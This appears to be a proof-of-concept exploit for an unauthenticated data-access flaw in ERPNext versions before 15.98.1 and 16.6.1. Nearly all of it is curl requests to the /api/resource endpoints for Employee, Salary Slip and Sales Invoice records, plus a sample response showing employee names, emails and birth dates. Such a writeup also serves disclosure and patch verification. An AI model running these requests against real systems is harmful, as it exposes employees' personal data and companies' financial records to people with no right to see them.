ERPNext Unauthorized Document Access via Missing Validation

Proof of Concept

# Unauthenticated document access via unvalidated endpoints
# ERPNext versions < 15.98.1 and < 16.6.1

# 1. Access sensitive documents without authentication or authorization
curl -i https://<target>/api/resource/Employee \
  -H "Accept: application/json"

# Response (200 OK — no authentication required):
{
  "data": [
    {
      "name": "HR-EMP-00001",
      "employee_name": "Jane Doe",
      "company_email": "jane@example.com",
      "date_of_birth": "1990-01-15",
      "salary_mode": "Bank",
      ...
    }
  ]
}

# 2. Access other sensitive document types
curl -i https://<target>/api/resource/Salary%20Slip \
  -H "Accept: application/json"

# 3. Access customer/supplier financial data
curl -i https://<target>/api/resource/Sales%20Invoice \
  -H "Accept: application/json"

# Result: Full read access to sensitive business documents
# including employee records, financial data, and more —
# without any authentication or authorization checks.